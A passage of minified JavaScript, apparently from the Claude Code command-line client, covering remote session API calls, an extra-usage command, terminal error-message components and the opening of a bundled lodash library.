f3A=k(()=>{Jw();Z1();y4();WQA=new Map});import{randomUUID as YD2}from"crypto";function zD2(A){if(!A8.isAxiosError(A))return!1;if(!A.response)return!0;if(A.response.status>=500)return!0;return!1}async function wD2(A,K){let q;for(let Y=0;Y<=Ly6;Y++)try{return await A8.get(A,K)}catch(z){if(q=z,!zD2(z))throw z;if(Y>=Ly6)throw h(`Teleport request failed after ${Y+1} attempts: ${z instanceof Error?z.message:String(z)}`),z;let w=w4K[Y]??2000;h(`Teleport request failed (attempt ${Y+1}/${Ly6+1}), retrying in ${w}ms: ${z instanceof Error?z.message:String(z)}`),await new Promise((H)=>setTimeout(H,w))}throw q}async function jv(){let A=LK()?.accessToken;if(A===void 0)throw Error("Claude Code web sessions require authentication with a Claude.ai account. API key authentication is not sufficient. Please run /login to authenticate, or check your authentication status with /status.");let K=await Fx();if(!K)throw Error("Unable to get organization UUID");return{accessToken:A,orgUUID:K}}async function H4K(){let{accessToken:A,orgUUID:K}=await jv(),q=`${E7().BASE_API_URL}/v1/sessions`;try{let Y={...M_(A),"x-organization-uuid":K},z=await wD2(q,{headers:Y});if(z.status!==200)throw Error(`Failed to fetch code sessions: ${z.statusText}`);return z.data.data.map((H)=>{let J=H.session_context.sources.find((X)=>X.type==="git_repository"),O=null;if(J?.url){let X=V3A(J.url);if(X){let[$,_]=X.split("/");if($&&_)O={name:_,owner:{login:$},default_branch:J.revision||void 0}}}return{id:H.id,title:H.title||"Untitled",description:"",status:H.session_status,repo:O,turns:[],created_at:H.created_at,updated_at:H.updated_at}})}catch(Y){let z=Y instanceof Error?Y:Error(String(Y));throw KA(z),Y}}function M_(A){return{Authorization:`Bearer ${A}`,"Content-Type":"application/json","anthropic-version":"2023-06-01"}}async function DQA(A){let{accessToken:K,orgUUID:q}=await jv(),Y=`${E7().BASE_API_URL}/v1/sessions/${A}`,z={...M_(K),"x-organization-uuid":q},w=await A8.get(Y,{headers:z,timeout:15000,validateStatus:(H)=>H<500});if(w.status!==200){let J=w.data?.error?.message;if(w.status===404)throw Error(`Session not found: ${A}`);if(w.status===401)throw Error("Session expired. Please run /login to sign in again.");throw Error(J||`Failed to fetch session: ${w.status} ${w.statusText}`)}return w.data}function Ry6(A){return A.session_context.outcomes?.find((q)=>q.type==="git_repository")?.git_info?.branches[0]}async function KP1(A,K){try{let{accessToken:q,orgUUID:Y}=await jv(),z=`${E7().BASE_API_URL}/v1/sessions/${A}/events`,w={...M_(q),"x-organization-uuid":Y},J={events:[{uuid:YD2(),session_id:A,type:"user",parent_tool_use_id:null,message:{role:"user",content:K}}]};h(`[sendEventToRemoteSession] Sending event to session ${A}`);let O=await A8.post(z,J,{headers:w,validateStatus:(X)=>X<500});if(O.status===200||O.status===201)return h(`[sendEventToRemoteSession] Successfully sent event to session ${A}`),!0;return h(`[sendEventToRemoteSession] Failed with status ${O.status}: ${UA(O.data)}`),!1}catch(q){return h(`[sendEventToRemoteSession] Error: ${q instanceof Error?q.message:String(q)}`),!1}}var w4K,Ly6,HD2,NuH;var IS=k(()=>{uz();x4();n3();LT();C1();Z1();f3A();z7();b1();w4K=[2000,4000,8000,16000],Ly6=w4K.length;HD2=f7.object({id:f7.string(),title:f7.string(),description:f7.string(),status:f7.enum(["idle","working","waiting","completed","archived","cancelled","rejected"]),repo:f7.object({name:f7.string(),owner:f7.object({login:f7.string()}),default_branch:f7.string().optional()}).nullable(),turns:f7.array(f7.string()),created_at:f7.string(),updated_at:f7.string()}),NuH=f7.array(HD2)});async function J4K(A){let{accessToken:K,orgUUID:q}=await jv(),Y={...M_(K),"x-organization-uuid":q},z=`${E7().BASE_API_URL}/api/oauth/organizations/${q}/admin_requests`;return(await A8.post(z,A,{headers:Y})).data}async function O4K(A,K){let{accessToken:q,orgUUID:Y}=await jv(),z={...M_(q),"x-organization-uuid":Y},w=`${E7().BASE_API_URL}/api/oauth/organizations/${Y}/admin_requests/me?request_type=${A}`;for(let J of K)w+=`&statuses=${J}`;return(await A8.get(w,{headers:z})).data}var X4K=k(()=>{n3();uz();IS()});var $4K,JD2,fd;var jQA=k(()=>{C1();x4();nD();AP1();i6();X4K();$4K=o($A(),1),JD2={type:"local-jsx",name:"extra-usage",description:"Configure extra usage to keep working when limits are hit",isEnabled:()=>{if(process.env.DISABLE_EXTRA_USAGE_COMMAND)return!1;if(!oU())return!1;if(DI())return!0;let A=Uq();return A==="pro"||A==="max"},isHidden:!1,async call(A,K){let q=Uq(),Y=q==="team"||q==="enterprise",z=yu(),w=DI(),H=$5()?.hasExtraUsageEnabled===!0;if(!z&&Y){if(w){try{let O=await O4K("limit_increase",["pending","dismissed"]);if(O&&O.length>0)return A("You have already submitted a request for extra usage to your admin."),null}catch(O){KA(O)}try{return await J4K({request_type:"limit_increase",details:null}),A(H?"Request sent to your admin to increase extra usage.":"Request sent to your admin to enable extra usage."),null}catch(O){KA(O)}}return A("Please contact your admin to manage extra usage settings."),null}let J=Y?"https://claude.ai/admin-settings/usage":"https://claude.ai/settings/usage";try{return await MY(J),$4K.default.createElement(ZQA,{startingMessage:"Starting new login following /extra-usage. Exit with Ctrl-C to use existing account.",onDone:(O)=>{K.onChangeAPIKey(),A(O?"Login successful":"Login interrupted")}})}catch(O){KA(O),A(`Failed to open browser. Please visit ${J} to see your extra usage.`)}return null},userFacingName(){return"extra-usage"}},fd=JD2});function _4K(A){let K=s(20),{text:q,onOpenRateLimitOptions:Y}=A,z;if(K[0]===Symbol.for("react.memo_cache_sentinel"))z=Uq(),K[0]=z;else z=K[0];let w=z,H;if(K[1]===Symbol.for("react.memo_cache_sentinel"))H=tjA(),K[1]=H;else H=K[1];let J=H,O;if(K[2]===Symbol.for("react.memo_cache_sentinel"))O=DI(),K[2]=O;else O=K[2];let X=O,$=w==="pro"||w==="max",_=w==="team"||w==="enterprise",G=J==="default_claude_max_20x",Z;if(K[3]===Symbol.for("react.memo_cache_sentinel"))Z=(LGA()||Z4())&&($||X),K[3]=Z;else Z=K[3];let W=Z,D=W&&!G,[j,M]=qP1.useState(!1),P=so(),f=P.status==="rejected"&&P.resetsAt!==void 0,N=D&&!j&&f&&Y,T,C;if(K[4]!==Y||K[5]!==N)T=()=>{if(N)M(!0),Y()},C=[N,Y],K[4]=Y,K[5]=N,K[6]=T,K[7]=C;else T=K[6],C=K[7];qP1.useEffect(T,C);let R;A:{if(!W){R=null;break A}let F=fd.isEnabled();if(G&&F){let u;if(K[8]===Symbol.for("react.memo_cache_sentinel"))u=SS.default.createElement(V,{dimColor:!0},"/extra-usage to finish what you're working on."),K[8]=u;else u=K[8];R=u;break A}if(N){let u;if(K[9]===Symbol.for("react.memo_cache_sentinel"))u=SS.default.createElement(V,{dimColor:!0},"Opening your options…"),K[9]=u;else u=K[9];R=u;break A}if(!_&&!F){let u;if(K[10]===Symbol.for("react.memo_cache_sentinel"))u=SS.default.createElement(V,{dimColor:!0},"/upgrade to increase your usage limit."),K[10]=u;else u=K[10];R=u;break A}if(_){if(!F){R=null;break A}if(yu()){let r;if(K[11]===Symbol.for("react.memo_cache_sentinel"))r=SS.default.createElement(V,{dimColor:!0},"/extra-usage to finish what you're working on."),K[11]=r;else r=K[11];R=r;break A}if(X){let r;if(K[12]===Symbol.for("react.memo_cache_sentinel"))r=SS.default.createElement(V,{dimColor:!0},"/extra-usage to request more usage from your admin."),K[12]=r;else r=K[12];R=r;break A}let d;if(K[13]===Symbol.for("react.memo_cache_sentinel"))d=SS.default.createElement(V,{dimColor:!0},"Contact your admin to request extra usage."),K[13]=d;else d=K[13];R=d;break A}let Q;if(K[14]===Symbol.for("react.memo_cache_sentinel"))Q=SS.default.createElement(V,{dimColor:!0},"/upgrade or /extra-usage to finish what you're working on."),K[14]=Q;else Q=K[14];R=Q}let x=R,y;if(K[15]!==q)y=SS.default.createElement(V,{color:"error"},q),K[15]=q,K[16]=y;else y=K[16];let B=j?null:x,b;if(K[17]!==y||K[18]!==B)b=SS.default.createElement(k6,null,SS.default.createElement(S,{flexDirection:"column"},y,B)),K[17]=y,K[18]=B,K[19]=b;else b=K[19];return b}var SS,qP1;var G4K=k(()=>{cA();x4();BxA();mA();Eq();jQA();i6();jI();SS=o($A(),1),qP1=o($A(),1)});function OD2(){let A=s(2),K;if(A[0]===Symbol.for("react.memo_cache_sentinel"))K=LW7(),A[0]=K;else K=A[0];let q=K,Y;if(A[1]===Symbol.for("react.memo_cache_sentinel"))Y=mY.default.createElement(k6,null,mY.default.createElement(S,{flexDirection:"column"},mY.default.createElement(V,{color:"error"},OO1),q&&mY.default.createElement(V,{dimColor:!0},"· Run in another terminal: security unlock-keychain"))),A[1]=Y;else Y=A[1];return Y}function Z4K(A){let K=s(25),{param:q,addMargin:Y,shouldShowDot:z,onOpenRateLimitOptions:w}=A,{text:H}=q;if(YP1(H))return null;if(Y37(H)){let J;if(K[0]!==w||K[1]!==H)J=mY.default.createElement(_4K,{text:H,onOpenRateLimitOptions:w}),K[0]=w,K[1]=H,K[2]=J;else J=K[2];return J}switch(H){case aKA:return null;case to:{let J;if(K[3]===Symbol.for("react.memo_cache_sentinel"))J=L5A("warning"),K[3]=J;else J=K[3];let O=J,X;if(K[4]===Symbol.for("react.memo_cache_sentinel"))X=mY.default.createElement(k6,{height:1},mY.default.createElement(V,{color:"error"},"Context limit reached · /compact or /clear to continue",O?` · ${O}`:"")),K[4]=X;else X=K[4];return X}case JO1:{let J;if(K[5]===Symbol.for("react.memo_cache_sentinel"))J=mY.default.createElement(k6,{height:1},mY.default.createElement(V,{color:"error"},"Credit balance too low · Add funds: https://platform.claude.com/settings/billing")),K[5]=J;else J=K[5];return J}case OO1:{let J;if(K[6]===Symbol.for("react.memo_cache_sentinel"))J=mY.default.createElement(OD2,null),K[6]=J;else J=K[6];return J}case XO1:{let J;if(K[7]===Symbol.for("react.memo_cache_sentinel"))J=mY.default.createElement(k6,{height:1},mY.default.createElement(V,{color:"error"},XO1)),K[7]=J;else J=K[7];return J}case $O1:{let J;if(K[8]===Symbol.for("react.memo_cache_sentinel"))J=mY.default.createElement(k6,{height:1},mY.default.createElement(V,{color:"error"},$O1)),K[8]=J;else J=K[8];return J}case _O1:{let J;if(K[9]===Symbol.for("react.memo_cache_sentinel"))J=mY.default.createElement(k6,{height:1},mY.default.createElement(V,{color:"error"},_O1,process.env.API_TIMEOUT_MS&&mY.default.createElement(mY.default.Fragment,null," ","(API_TIMEOUT_MS=",process.env.API_TIMEOUT_MS,"ms, try increasing it)"))),K[9]=J;else J=K[9];return J}case oKA:{let J;if(K[10]===Symbol.for("react.memo_cache_sentinel"))J=mY.default.createElement(V,{color:"error"},"We are experiencing high demand for Opus 4."),K[10]=J;else J=K[10];let O;if(K[11]===Symbol.for("react.memo_cache_sentinel"))O=mY.default.createElement(k6,null,mY.default.createElement(S,{flexDirection:"column",gap:1},J,mY.default.createElement(V,null,"To continue immediately, use /model to switch to"," ",HM(Lk())," and continue coding."))),K[11]=O;else O=K[11];return O}case N3A:{let J;if(K[12]===Symbol.for("react.memo_cache_sentinel"))J=mY.default.createElement(k6,{height:1},mY.default.createElement(hu,null)),K[12]=J;else J=K[12];return J}default:{if(H.startsWith($$)){let G=H===$$?`${$$}: Please wait a moment and try again.`:H,Z;if(K[13]!==G)Z=mY.default.createElement(k6,null,mY.default.createElement(V,{color:"error"},G)),K[13]=G,K[14]=Z;else Z=K[14];return Z}let J=Y?1:0,O;if(K[15]!==z)O=z&&mY.default.createElement(S,{minWidth:2},mY.default.createElement(V,{color:"text"},uY)),K[15]=z,K[16]=O;else O=K[16];let X;if(K[17]!==H)X=mY.default.createElement(S,{flexDirection:"column"},mY.default.createElement(PO,null,H)),K[17]=H,K[18]=X;else X=K[18];let $;if(K[19]!==O||K[20]!==X)$=mY.default.createElement(S,{flexDirection:"row"},O,X),K[19]=O,K[20]=X,K[21]=$;else $=K[21];let _;if(K[22]!==J||K[23]!==$)_=mY.default.createElement(S,{alignItems:"flex-start",flexDirection:"row",justifyContent:"space-between",marginTop:J,width:"100%"},$),K[22]=J,K[23]=$,K[24]=_;else _=K[24];return _}}}var mY;var W4K=k(()=>{cA();mA();cT();$8();hf();JL();Eq();K7();OW1();St();SGA();Q_6();UBA();G4K();mY=o($A(),1)});function zP1(A){let K=s(8),{param:q,addMargin:Y}=A,{text:z}=q,w;if(K[0]!==z)w=i7(z,"bash-input"),K[0]=z,K[1]=w;else w=K[1];let H=w;if(!H)return null;let J=Y?1:0,O;if(K[2]===Symbol.for("react.memo_cache_sentinel"))O=Nd.createElement(V,{backgroundColor:"bashMessageBackgroundColor",color:"bashBorder"},"!"),K[2]=O;else O=K[2];let X;if(K[3]!==H)X=Nd.createElement(S,null,O,Nd.createElement(V,{backgroundColor:"bashMessageBackgroundColor",color:"text"}," ",H," ")),K[3]=H,K[4]=X;else X=K[4];let $;if(K[5]!==J||K[6]!==X)$=Nd.createElement(S,{flexDirection:"column",marginTop:J,width:"100%"},X),K[5]=J,K[6]=X,K[7]=$;else $=K[7];return $}var Nd;var yy6=k(()=>{cA();mA();$8();Nd=o($A(),1)});function D4K(A){let K=s(19),{addMargin:q,param:Y}=A,{text:z}=Y,w;if(K[0]!==z)w=i7(z,tW),K[0]=z,K[1]=w;else w=K[1];let H=w,J;if(K[2]!==z)J=i7(z,"command-args"),K[2]=z,K[3]=J;else J=K[3];let O=J,X=i7(z,"skill-format")==="true";if(!H)return null;if(X){let j=q?1:0,M;if(K[4]===Symbol.for("react.memo_cache_sentinel"))M=vW.createElement(V,{color:"subtle"},eA.pointer," "),K[4]=M;else M=K[4];let P;if(K[5]!==H)P=vW.createElement(V,{backgroundColor:"userMessageBackground"},M,vW.createElement(V,{color:"text"},"Skill(",H,") ")),K[5]=H,K[6]=P;else P=K[6];let f;if(K[7]!==j||K[8]!==P)f=vW.createElement(S,{flexDirection:"column",marginTop:j,width:"100%"},P),K[7]=j,K[8]=P,K[9]=f;else f=K[9];return f}let $;if(K[10]!==O||K[11]!==H)$=[H,O].filter(Boolean),K[10]=O,K[11]=H,K[12]=$;else $=K[12];let _=`/${$.join(" ")}`,G=q?1:0,Z;if(K[13]===Symbol.for("react.memo_cache_sentinel"))Z=vW.createElement(V,{color:"subtle"},eA.pointer," "),K[13]=Z;else Z=K[13];let W;if(K[14]!==_)W=vW.createElement(V,{backgroundColor:"userMessageBackground"},Z,vW.createElement(V,{color:"text"},_," ")),K[14]=_,K[15]=W;else W=K[15];let D;if(K[16]!==G||K[17]!==W)D=vW.createElement(S,{flexDirection:"column",marginTop:G,width:"100%"},W),K[16]=G,K[17]=W,K[18]=D;else D=K[18];return D}var vW;var j4K=k(()=>{cA();g4();mA();$8();wz();vW=o($A(),1)});function M4K(A,K,q){return A.split(` `).map((z,w)=>{let H=w===0?z:z.trimStart(),J=w===0?"":" ".repeat(K),X=Math.max(0,q-(w===0?K:0)-J.length-j7(H)-1);return J+H+" ".repeat(X)+" "}).join(` `)}var P4K=k(()=>{XG()});function f4K(A){let K=s(7),{text:q}=A,{columns:Y}=f8(),z=Y-4,w=z-V4K-1,H;if(K[0]!==z||K[1]!==w||K[2]!==q){let $=ky(q,w,"wrap");H=$.includes(` `)?M4K($,V4K,z):$+" ",K[0]=z,K[1]=w,K[2]=q,K[3]=H}else H=K[3];let J=H,O;if(K[4]===Symbol.for("react.memo_cache_sentinel"))O=T3A.createElement(V,{color:"subtle"},eA.pointer," "),K[4]=O;else O=K[4];let X;if(K[5]!==J)X=T3A.createElement(V,{backgroundColor:"userMessageBackground"},O,T3A.createElement(V,{color:"text"},J)),K[5]=J,K[6]=X;else X=K[6];return X}var T3A,V4K=2;var N4K=k(()=>{cA();g4();mA();uK();P4K();T3A=o($A(),1)});function T4K(A){let K=s(7),{addMargin:q,param:Y,thinkingMetadata:z}=A,{text:w}=Y,{columns:H}=f8();if(!w)return KA(Error("No content found in user prompt message")),null;let J=q?1:0,O=H-4,X;if(K[0]!==w||K[1]!==z)X=Iy6.default.createElement(f4K,{text:w,thinkingMetadata:z}),K[0]=w,K[1]=z,K[2]=X;else X=K[2];let $;if(K[3]!==J||K[4]!==O||K[5]!==X)$=Iy6.default.createElement(S,{flexDirection:"column",marginTop:J,width:O},X),K[3]=J,K[4]=O,K[5]=X,K[6]=$;else $=K[6];return $}var Iy6;var v4K=k(()=>{cA();mA();C1();uK();N4K();Iy6=o($A(),1)});var E4K=v((MQA,PQA)=>{(function(){var A,K="4.17.21",q=200,Y="Unsupported core-js use. Try https://npms.io/search?q=ponyfill.",z="Expected a function",w="Invalid `variable` option passed into `_.template`",H="__lodash_hash_undefined__",J=500,O="__lodash_placeholder__",X=1,$=2,_=4,G=1,Z=2,W=1,D=2,j=4,M=8,P=16,f=32,N=64,T=128,C=256,R=512,x=30,y="...",B=800,b=16,F=1,Q=2,u=3,d=1/0,r=9007199254740991,c=179769313486231570000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,YA=NaN,e=4294967295,qA=e-1,HA=e>>>1,_A=[["ary",T],["bind",W],["bindKey",D],["curry",M],["curryRight",P],["flip",R],["partial",f],["partialRight",N],["rearg",C]],a="[object Arguments]",JA="[object Array]",jA="[object AsyncFunction]",MA="[object Boolean]",hA="[object Date]",yA="[object DOMException]",AA="[object Error]",wA="[object Function]",GA="[object GeneratorFunction]",OA="[object Map]",t="[object Number]",XA="[object Null]",VA="[object Object]",vA="[object Promise]",RA="[object Proxy]",fA="[object RegExp]",LA="[object Set]",SA="[object String]",xA="[object Symbol]",iA="[object Undefined]",lA="[object WeakMap]",v1="[object WeakSet]",I1="[object ArrayBuffer]",Q1="[object DataView]",B1="[object Float32Array]",C6="[object Float64Array]",w1="[object Int8Array]",$1="[object Int16Array]",N1="[object Int32Array]",A6="[object Uint8Array]",c1="[object Uint8ClampedArray]",w6="[object Uint16Array]",DA="[object Uint32Array]",EA=/\b__p \+= '';/g,rA=/\b(__p \+=) '' \+/g,J1=/(__e\(.*?\)|\b__t\)) \+\n'';/g,aA=/&(?:amp|lt|gt|quot|#39);/g,z1=/[&<>"']/g,f1=RegExp(aA.source),T1=RegExp(z1.source),K6=/<%-([\s\S]+?)%>/g,U6=/<%([\s\S]+?)%>/g,e8=/<%=([\s\S]+?)%>/g,D8=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,Y7=/^\w*$/,T7=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,H4=/[\\^$.*+?()[\]{}|]/g,u7=RegExp(H4.source),s7=/^\s+/,k5=/\s/,iq=/\{(?:\n\/\* \[wrapped with .+\] \*\/)?\n?/,r8=/\{\n\/\* \[wrapped with (.+)\] \*/,E8=/,? & /,X9=/[^\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f]+/g,I3=/[()=,{}\[\]\/\s]/,Z3=/\\(\\)?/g,S3=/\$\{([^\\}]*(?:\\.[^\\}]*)*)\}/g,dY=/\w*$/,vY=/^[-+]0x[0-9a-f]+$/i,$9=/^0b[01]+$/i,EY=/^\[object .+?Constructor\]$/,Yw=/^0o[0-7]+$/i,QK=/^(?:0|[1-9]\d*)$/,_9=/[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g,kY=/($^)/,gq=/['\n\r\u2028\u2029\\]/g,T6="\\ud800-\\udfff",W7="\\u0300-\\u036f",Q8="\\ufe20-\\ufe2f",n4="\\u20d0-\\u20ff",Xq=W7+Q8+n4,IK="\\u2700-\\u27bf",h3="a-z\\xdf-\\xf6\\xf8-\\xff",Y4="\\xac\\xb1\\xd7\\xf7",c8="\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf",z4="\\u2000-\\u206f",$q=" \\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000",p3="A-Z\\xc0-\\xd6\\xd8-\\xde",b5="\\ufe0e\\ufe0f",W3=Y4+c8+z4+$q,q1="['’]",NA="["+T6+"]",ZA="["+W3+"]",gA="["+Xq+"]",pA="\\d+",dA="["+IK+"]",G1="["+h3+"]",R1="[^"+T6+W3+pA+IK+h3+p3+"]",u1="\\ud83c[\\udffb-\\udfff]",s1="(?:"+gA+"|"+u1+")",E1="[^"+T6+"]",Z6="(?:\\ud83c[\\udde6-\\uddff]){2}",Z8="[\\ud800-\\udbff][\\udc00-\\udfff]",j4="["+p3+"]",d4="\\u200d",r4="(?:"+G1+"|"+R1+")",U7="(?:"+j4+"|"+R1+")",Fq="(?:"+q1+"(?:d|ll|m|re|s|t|ve))?",z2="(?:"+q1+"(?:D|LL|M|RE|S|T|VE))?",b3=s1+"?",zw="["+b5+"]?",pw="(?:"+d4+"(?:"+[E1,Z6,Z8].join("|")+")"+zw+b3+")*",C0="\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])",zJ="\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])",NH=zw+b3+pw,dw="(?:"+[dA,Z6,Z8].join("|")+")"+NH,L0="(?:"+[E1+gA+"?",gA,Z6,Z8,NA].join("|")+")",Kz=RegExp(q1,"g"),bP=RegExp(gA,"g"),x_=RegExp(u1+"(?="+u1+")|"+L0+NH,"g"),RX=RegExp([j4+"?"+G1+"+"+Fq+"(?="+[ZA,j4,"$"].join("|")+")",U7+"+"+z2+"(?="+[ZA,j4+r4,"$"].join("|")+")",j4+"?"+r4+"+"+Fq,j4+"+"+z2,zJ,C0,pA,dw].join("|"),"g"),$Z=RegExp("["+d4+T6+Xq+b5+"]"),u$=/[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/,wJ=["Array","Buffer","DataView","Date","Error","Float32Array","Float64Array","Function","Int8Array","Int16Array","Int32Array","Map","Math","Object","Promise","RegExp","Set","String","Symbol","TypeError","Uint8Array","Uint8ClampedArray","Uint16Array","Uint32Array","WeakMap","_","clearTimeout","isFinite","parseInt","setTimeout"],R0=-1,t5={};t5[B1]=t5[C6]=t5[w1]=t5[$1]=t5[N1]=t5[A6]=t5[c1]=t5[w6]=t5[DA]=!0,t5[a]=t5[JA]=t5[I1]=t5[MA]=t5[Q1]=t5[hA]=t5[AA]=t5[wA]=t5[OA]=t5[t]=t5[VA]=t5[fA]=t5[LA]=t5[SA]=t5[lA]=!1;var nq={};nq[a]=nq[JA]=nq[I1]=nq[Q1]=nq[MA]=nq[hA]=nq[B1]=nq[C6]=nq[w1]=nq[$1]=nq[N1]=nq[OA]=nq[t]=nq[VA]=nq[fA]=nq[LA]=nq[SA]=nq[xA]=nq[A6]=nq[c1]=nq[w6]=nq[DA]=!0,nq[AA]=nq[wA]=nq[lA]=!1;var pJ={"À":"A","Á":"A","Â":"A","Ã":"A","Ä":"A","Å":"A","à":"a","á":"a","â":"a","ã":"a","ä":"a","å":"a","Ç":"C","ç":"c","Ð":"D","ð":"d","È":"E","É":"E","Ê":"E","Ë":"E","è":"e","é":"e","ê":"e","ë":"e","Ì":"I","Í":"I","Î":"I","Ï":"I","ì":"i","í":"i","î":"i","ï":"i","Ñ":"N","ñ":"n","Ò":"O","Ó":"O","Ô":"O","Õ":"O","Ö":"O","Ø":"O","ò":"o","ó":"o","ô":"o","õ":"o","ö":"o","ø":"o","Ù":"U","Ú":"U","Û":"U","Ü":"U","ù":"u","ú":"u","û":"u","ü":"u","Ý":"Y","ý":"y","ÿ":"y","Æ":"Ae","æ":"ae","Þ":"Th","þ":"th","ß":"ss","Ā":"A","Ă":"A","Ą":"A","ā":"a","ă":"a","ą":"a","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","ć":"c","ĉ":"c","ċ":"c","č":"c","Ď":"D","Đ":"D","ď":"d","đ":"d","Ē":"E","Ĕ":"E","Ė":"E","Ę":"E","Ě":"E","ē":"e","ĕ":"e","ė":"e","ę":"e","ě":"e","Ĝ":"G","Ğ":"G","Ġ":"G","Ģ":"G","ĝ":"g","ğ":"g","ġ":"g","ģ":"g","Ĥ":"H","Ħ":"H","ĥ":"h","ħ":"h","Ĩ":"I","Ī":"I","Ĭ":"I","Į":"I","İ":"I","ĩ":"i","ī":"i","ĭ":"i","į":"i","ı":"i","Ĵ":"J","ĵ":"j","Ķ":"K","ķ":"k","ĸ":"k","Ĺ":"L","Ļ":"L","Ľ":"L","Ŀ":"L","Ł":"L","ĺ":"l","ļ":"l","ľ":"l","ŀ":"l","ł":"l","Ń":"N","Ņ":"N","Ň":"N","Ŋ":"N","ń":"n","ņ":"n","ň":"n","ŋ":"n","Ō":"O","Ŏ":"O","Ő":"O","ō":"o","ŏ":"o","ő":"o","Ŕ":"R","Ŗ":"R","Ř":"R","ŕ":"r","ŗ":"r","ř":"r","Ś":"S","Ŝ":"S","Ş":"S","Š":"S","ś":"s","ŝ":"s","ş":"s","š":"s","Ţ":"T","Ť":"T","Ŧ":"T","ţ":"t","ť":"t","ŧ":"t","Ũ":"U","Ū":"U","Ŭ":"U","Ů":"U","Ű":"U","Ų":"U","ũ":"u","ū":"u","ŭ":"u","ů":"u","ű":"u","ų":"u","Ŵ":"W","ŵ":"w","Ŷ":"Y","ŷ":"y","Ÿ":"Y","Ź":"Z","Ż":"Z","Ž":"Z","ź":"z","ż":"z","ž":"z","IJ":"IJ","ij":"ij","Œ":"Oe","œ":"oe","ʼn":"'n","ſ":"s"},y0={"&":"&","<":"<",">":">",'"':""","'":"'"},dJ={"&":"&","<":"<",">":">",""":'"',"'":"'"},I0={"\\":"\\","'":"'","\n":"n","\r":"r","\u2028":"u2028","\u2029":"u2029"},u_=parseFloat,S0=parseInt,yO=typeof global=="object"&&global&&global.Object===Object&&global,yX=typeof self=="object"&&self&&self.Object===Object&&self,x3=yO||yX||Function("return this")(),IX=typeof MQA=="object"&&MQA&&!MQA.nodeType&&MQA,h0=IX&&typeof PQA=="object"&&PQA&&!PQA.nodeType&&PQA,N8=h0&&h0.exports===IX,M8=N8&&yO.process,V7=function(){try{var a1=h0&&h0.require&&h0.require("util").types;if(a1)return a1;return M8&&M8.binding&&M8.binding("util")}catch(c6){}}(),rq=V7&&V7.isArrayBuffer,G9=V7&&V7.isDate,CY=V7&&V7.isMap,ww=V7&&V7.isRegExp,e5=V7&&V7.isSet,LY=V7&&V7.isTypedArray;function v2(a1,c6,I6){switch(I6.length){case 0:return a1.call(c6);case 1:return a1.call(c6,I6[0]);case 2:return a1.call(c6,I6[0],I6[1]);case 3:return a1.call(c6,I6[0],I6[1],I6[2])}return a1.apply(c6,I6)}function j1(a1,c6,I6,W1){var F6=-1,r6=a1==null?0:a1.length;while(++F6<r6){var e4=a1[F6];c6(W1,e4,I6(e4),a1)}return W1}function s6(a1,c6){var I6=-1,W1=a1==null?0:a1.length;while(++I6<W1)if(c6(a1[I6],I6,a1)===!1)break;return a1}function _4(a1,c6){var I6=a1==null?0:a1.length;while(I6--)if(c6(a1[I6],I6,a1)===!1)break;return a1}function t7(a1,c6){var I6=-1,W1=a1==null?0:a1.length;while(++I6<W1)if(!c6(a1[I6],I6,a1))return!1;return!0}function C5(a1,c6){var I6=-1,W1=a1==null?0:a1.length,F6=0,r6=[];while(++I6<W1){var e4=a1[I6];if(c6(e4,I6,a1))r6[F6++]=e4}return r6}function A3(a1,c6){var I6=a1==null?0:a1.length;return!!I6&&Sj(a1,c6,0)>-1}function C9(a1,c6,I6){var W1=-1,F6=a1==null?0:a1.length;while(++W1<F6)if(I6(c6,a1[W1]))return!0;return!1}function Yq(a1,c6){var I6=-1,W1=a1==null?0:a1.length,F6=Array(W1);while(++I6<W1)F6[I6]=c6(a1[I6],I6,a1);return F6}function hz(a1,c6){var I6=-1,W1=c6.length,F6=a1.length;while(++I6<W1)a1[F6+I6]=c6[I6];return a1}function w2(a1,c6,I6,W1){var F6=-1,r6=a1==null?0:a1.length;if(W1&&r6)I6=a1[++F6];while(++F6<r6)I6=c6(I6,a1[F6],F6,a1);return I6}function MN(a1,c6,I6,W1){var F6=a1==null?0:a1.length;if(W1&&F6)I6=a1[--F6];while(F6--)I6=c6(I6,a1[F6],F6,a1);return I6}function B$(a1,c6){var I6=-1,W1=a1==null?0:a1.length;while(++I6<W1)if(c6(a1[I6],I6,a1))return!0;return!1}var AR=W6("length");function Wh(a1){return a1.split("")}function Dh(a1){return a1.match(X9)||[]}function Ag(a1,c6,I6){var W1;return I6(a1,function(F6,r6,e4){if(c6(F6,r6,e4))return W1=r6,!1}),W1}function bz(a1,c6,I6,W1){var F6=a1.length,r6=I6+(W1?1:-1);while(W1?r6--:++r6<F6)if(c6(a1[r6],r6,a1))return r6;return-1}function Sj(a1,c6,I6){return c6===c6?TAA(a1,c6,I6):bz(a1,bA,I6)}function IA(a1,c6,I6,W1){var F6=I6-1,r6=a1.length;while(++F6<r6)if(W1(a1[F6],c6))return F6;return-1}function bA(a1){return a1!==a1}function D1(a1,c6){var I6=a1==null?0:a1.length;return I6?J5(a1,c6)/I6:YA}function W6(a1){return function(c6){return c6==null?A:c6[a1]}}function p6(a1){return function(c6){return a1==null?A:a1[c6]}}function U8(a1,c6,I6,W1,F6){return F6(a1,function(r6,e4,f4){I6=W1?(W1=!1,r6):c6(I6,r6,e4,f4)}),I6}function DK(a1,c6){var I6=a1.length;a1.sort(c6);while(I6--)a1[I6]=a1[I6].value;return a1}function J5(a1,c6){var 